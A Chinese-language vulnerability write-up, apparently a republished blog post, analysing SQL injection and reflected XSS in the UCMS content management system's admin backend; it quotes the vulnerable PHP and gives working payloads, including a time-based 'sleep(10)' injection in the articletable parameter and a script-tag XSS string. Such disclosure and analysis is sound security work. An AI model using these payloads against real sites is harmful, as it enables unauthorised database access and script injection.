UCMS后台注入

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了UCMS后台注入相关的知识,希望对你有一定的参考价值。

全局过滤没什么用

function _stripslashes() {
    if (!function_exists(‘get_magic_quotes_gpc‘) || get_magic_quotes_gpc()==0){Return false;}
    if (isset($_GET)){$_GET=_stripslashes_deep($_GET);}
    if (isset($_POST)){$_POST=_stripslashes_deep($_POST);}
    if (isset($_COOKIE)){$_COOKIE=_stripslashes_deep($_COOKIE);}
    unset($_REQUEST);
}
function _stripslashes_deep($value) {
     if (empty($value)){
        return $value;
    }else{
        return is_array($value) ? array_map(‘_stripslashes_deep‘, $value) : stripslashes($value);
    }
}

定义和用法

stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。

在ucms/ajax.php

if($_GET[‘do‘]==‘listcheckboxchange‘) {
    $cid=intval($_POST[‘cid‘]);
    $articleid=intval($_POST[‘articleid‘]);
    $articletable=($_POST[‘articletable‘]);
    $status=intval($_POST[‘status‘]);
    $field=dbstr($_POST[‘field‘]);
    if(preg_match("/^[a-z][a-z0-9_]+$/",$articletable)) {
        die(‘articletable error‘);
    }
    $query = $GLOBALS[‘db‘] -> query("SELECT * FROM ".tableex(‘channel‘)." where cid=‘$cid‘ limit 1");
    $link = $GLOBALS[‘db‘] -> fetchone($query);
    if($link[‘ifshowadmin‘]==0) {die(‘channel error‘);}
    $csetting=json_decode($link[‘csetting‘],1);
    if(isset($csetting[‘listnoedit‘]) && $csetting[‘listnoedit‘]==1) {die(‘no edit‘);}
    if(empty($articletable)) {
        $articletable=$csetting[‘articletable‘];
    }
    if(!power(‘s‘,$cid,$power,2)) {die(‘power error‘);}
    $delsql=‘‘;//如果栏目开通了普通用户只能管理自己的文章
    if(power(‘sadmin‘,0) || power(‘s‘,$cid,$power,5)) {}else {if(isset($csetting[‘listadminuid‘]) && $csetting[‘listadminuid‘]==1) {$delsql=" and adminuid=‘$myadminuid‘";}}
    $query = $GLOBALS[‘db‘] -> query("SELECT * FROM $articletable where id=‘$articleid‘ and cid=‘$cid$delsql limit 1");

废话不多说直接上payload

cid=1&articletable=ucms_admin where id=1 and sleep(10)%23

技术分享

 其实他的做法还是有点巧妙的

虽然上面的过滤没用

SELECT * FROM ucms_admin where username=‘admin‘‘or 1%23‘ and psd=‘67b5054d1cd984ade85f52f8175005fe‘
if(isset($_POST[‘uuu_username‘])) {
    if($login_error_time<=$try_time) {
        $username=trim(dbstr($_POST[‘uuu_username‘]));
        $password=password_md5(trim($_POST[‘uuu_password‘]));
        $query = $GLOBALS[‘db‘] -> query("SELECT * FROM ".tableex(‘admin‘)." where username=‘$username‘ and psd=‘$password‘");
        $link = $GLOBALS[‘db‘] -> fetchone($query
function dbstr($str){
    global $site_db;
    $str=str_replace("‘","‘‘",$str);
    if($site_db[‘database‘]==‘mysql‘ || $site_db[‘database‘]==‘mysqlpdo‘) {
        $str=str_replace(‘\\\\‘,‘\\\\\\\\‘,$str);
    }
    return $str;
}

把一个单引号变成俩了这样注入就GG了

除了注入还有多处反射xss 然并软都是后台操作hhhhh

cid=1&strdefault=1"><script>alert(1);</script>

技术分享

 

以上是关于UCMS后台注入的主要内容,如果未能解决你的问题,请参考以下文章

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段

替换或删除后台堆栈上现有片段的代码不起作用

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

Android 片段和依赖注入

在后台堆栈中多次防止相同的片段